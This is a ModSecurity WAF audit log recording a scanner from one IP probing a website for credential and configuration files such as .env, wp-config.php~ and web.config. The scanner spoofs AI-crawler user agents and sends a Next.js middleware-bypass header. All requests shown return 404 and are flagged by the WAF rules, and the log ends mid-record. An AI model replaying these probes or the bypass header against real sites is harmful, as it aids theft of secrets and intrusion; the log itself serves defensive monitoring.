Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZ-nisVWymXUono-eRV-AAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZ-nisVWymXUono-eRV-AAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZ-nisVWymXUono-eRV-AAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZ-nisVWymXUono-eRV-AAAAAY"]
Stopwatch: 1789296542187276 39076 (- - -)
Stopwatch2: 1789296542187276 39076; combined=37057, p1=451, p2=36396, p3=107, p4=14, p5=89, sr=146, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--03426f1b-Z--
--aadd9e7b-A--
[13/Sep/2026:13:49:04.012532 +0300] aqZ-oDTJ6xTvcJoem7f8IwAAAFI 34.80.249.255 36926 127.0.0.1 7081
--aadd9e7b-B--
GET /web.config HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--aadd9e7b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--aadd9e7b-E--
--aadd9e7b-H--
Message: Warning. Matched phrase "/web.config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/web.config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/web.config"] [unique_id "aqZ-oDTJ6xTvcJoem7f8IwAAAFI"]
Stopwatch: 1789296544002724 10015 (- - -)
Stopwatch2: 1789296544002724 10015; combined=7701, p1=399, p2=7042, p3=115, p4=11, p5=133, sr=172, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aadd9e7b-Z--
--7be43c75-A--
[13/Sep/2026:13:49:05.356281 +0300] aqZ-oTTJ6xTvcJoem7f8JwAAAE0 34.80.249.255 37066 127.0.0.1 7081
--7be43c75-B--
GET /app/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7be43c75-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--7be43c75-E--
--7be43c75-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/app/.env"] [unique_id "aqZ-oTTJ6xTvcJoem7f8JwAAAE0"]
Stopwatch: 1789296545350216 6115 (- - -)
Stopwatch2: 1789296545350216 6115; combined=4684, p1=248, p2=4293, p3=89, p4=9, p5=45, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7be43c75-Z--
--d24ee763-A--
[13/Sep/2026:13:49:05.375597 +0300] aqZ-oUwu1RSkptiiNIX7GQAAAIo 34.80.249.255 37082 127.0.0.1 7081
--d24ee763-B--
GET /server/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d24ee763-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d24ee763-E--
--d24ee763-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/server/.env"] [unique_id "aqZ-oUwu1RSkptiiNIX7GQAAAIo"]
Stopwatch: 1789296545369474 6210 (- - -)
Stopwatch2: 1789296545369474 6210; combined=4827, p1=278, p2=4424, p3=73, p4=9, p5=42, sr=131, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d24ee763-Z--
--12d34c56-A--
[13/Sep/2026:13:49:05.383861 +0300] aqZ-oUwu1RSkptiiNIX7GgAAAJY 34.80.249.255 37102 127.0.0.1 7081
--12d34c56-B--
GET /src/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--12d34c56-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--12d34c56-E--
--12d34c56-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/src/.env"] [unique_id "aqZ-oUwu1RSkptiiNIX7GgAAAJY"]
Stopwatch: 1789296545379013 4903 (- - -)
Stopwatch2: 1789296545379013 4903; combined=3900, p1=157, p2=3613, p3=71, p4=8, p5=50, sr=71, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--12d34c56-Z--
--5ae3a040-A--
[13/Sep/2026:13:49:05.384732 +0300] aqZ-oTTJ6xTvcJoem7f8KAAAAEI 34.80.249.255 37096 127.0.0.1 7081
--5ae3a040-B--
GET /frontend/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5ae3a040-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--5ae3a040-E--
--5ae3a040-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/frontend/.env"] [unique_id "aqZ-oTTJ6xTvcJoem7f8KAAAAEI"]
Stopwatch: 1789296545378001 6782 (- - -)
Stopwatch2: 1789296545378001 6782; combined=4488, p1=230, p2=4124, p3=70, p4=8, p5=55, sr=98, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5ae3a040-Z--
--77f0a544-A--
[13/Sep/2026:13:49:05.640328 +0300] aqZ-oUwu1RSkptiiNIX7GwAAAJQ 34.80.249.255 51976 127.0.0.1 7081
--77f0a544-B--
GET /dev/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--77f0a544-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--77f0a544-E--
--77f0a544-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/dev/.env"] [unique_id "aqZ-oUwu1RSkptiiNIX7GwAAAJQ"]
Stopwatch: 1789296545633808 6587 (- - -)
Stopwatch2: 1789296545633808 6587; combined=5124, p1=273, p2=4704, p3=87, p4=10, p5=50, sr=124, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--77f0a544-Z--
--687fe939-A--
[13/Sep/2026:13:49:05.707145 +0300] aqZ-oUwu1RSkptiiNIX7HAAAAIQ 34.80.249.255 51984 127.0.0.1 7081
--687fe939-B--
GET /docker/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--687fe939-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--687fe939-E--
--687fe939-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/docker/.env"] [unique_id "aqZ-oUwu1RSkptiiNIX7HAAAAIQ"]
Stopwatch: 1789296545700829 6369 (- - -)
Stopwatch2: 1789296545700829 6369; combined=4838, p1=249, p2=4461, p3=76, p4=9, p5=43, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--687fe939-Z--
--af722949-A--
[13/Sep/2026:13:49:05.799643 +0300] aqZ-oSsVWymXUono-eRV-wAAAAQ 34.80.249.255 51992 127.0.0.1 7081
--af722949-B--
GET /production/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--af722949-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--af722949-E--
--af722949-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/production/.env"] [unique_id "aqZ-oSsVWymXUono-eRV-wAAAAQ"]
Stopwatch: 1789296545794156 5554 (- - -)
Stopwatch2: 1789296545794156 5554; combined=4422, p1=204, p2=4096, p3=71, p4=9, p5=41, sr=87, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--af722949-Z--
--c1e0e47d-A--
[13/Sep/2026:13:49:05.800438 +0300] aqZ-oWM7dE9KgIIOpQh5sgAAAMA 34.80.249.255 51988 127.0.0.1 7081
--c1e0e47d-B--
GET /v1/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c1e0e47d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--c1e0e47d-E--
--c1e0e47d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/v1/.env"] [unique_id "aqZ-oWM7dE9KgIIOpQh5sgAAAMA"]
Stopwatch: 1789296545793361 7127 (- - -)
Stopwatch2: 1789296545793361 7127; combined=4837, p1=307, p2=4404, p3=71, p4=9, p5=45, sr=122, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c1e0e47d-Z--
--569b150e-A--
[13/Sep/2026:13:49:05.820347 +0300] aqZ-oSsVWymXUono-eRWAAAAAAk 34.80.249.255 52008 127.0.0.1 7081
--569b150e-B--
GET /staging/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--569b150e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--569b150e-E--
--569b150e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/staging/.env"] [unique_id "aqZ-oSsVWymXUono-eRWAAAAAAk"]
Stopwatch: 1789296545813970 6467 (- - -)
Stopwatch2: 1789296545813970 6467; combined=4963, p1=252, p2=4578, p3=76, p4=8, p5=49, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--569b150e-Z--
--f84fbf08-A--
[13/Sep/2026:13:49:05.975034 +0300] aqZ-oSsVWymXUono-eRWAQAAAAc 34.80.249.255 52020 127.0.0.1 7081
--f84fbf08-B--
GET /apps/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f84fbf08-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--f84fbf08-E--
--f84fbf08-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/apps/.env"] [unique_id "aqZ-oSsVWymXUono-eRWAQAAAAc"]
Stopwatch: 1789296545968910 6178 (- - -)
Stopwatch2: 1789296545968910 6178; combined=4770, p1=281, p2=4325, p3=110, p4=9, p5=45, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f84fbf08-Z--
--6e634c24-A--
[13/Sep/2026:13:49:06.133328 +0300] aqZ-oisVWymXUono-eRWAgAAAAs 34.80.249.255 52034 127.0.0.1 7081
--6e634c24-B--
GET /old/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6e634c24-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--6e634c24-E--
--6e634c24-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/old/.env"] [unique_id "aqZ-oisVWymXUono-eRWAgAAAAs"]
Stopwatch: 1789296546126988 6412 (- - -)
Stopwatch2: 1789296546126988 6412; combined=4804, p1=275, p2=4408, p3=71, p4=8, p5=42, sr=136, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6e634c24-Z--
--466bba60-A--
[13/Sep/2026:13:49:06.146745 +0300] aqZ-oisVWymXUono-eRWAwAAAAI 34.80.249.255 52038 127.0.0.1 7081
--466bba60-B--
GET /v2/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--466bba60-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--466bba60-E--
--466bba60-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/v2/.env"] [unique_id "aqZ-oisVWymXUono-eRWAwAAAAI"]
Stopwatch: 1789296546140527 6271 (- - -)
Stopwatch2: 1789296546140527 6271; combined=4804, p1=338, p2=4342, p3=73, p4=9, p5=42, sr=168, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--466bba60-Z--
--d8d57324-A--
[13/Sep/2026:13:49:06.394292 +0300] aqZ-omM7dE9KgIIOpQh5swAAANE 34.80.249.255 52040 127.0.0.1 7081
--d8d57324-B--
GET /site/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
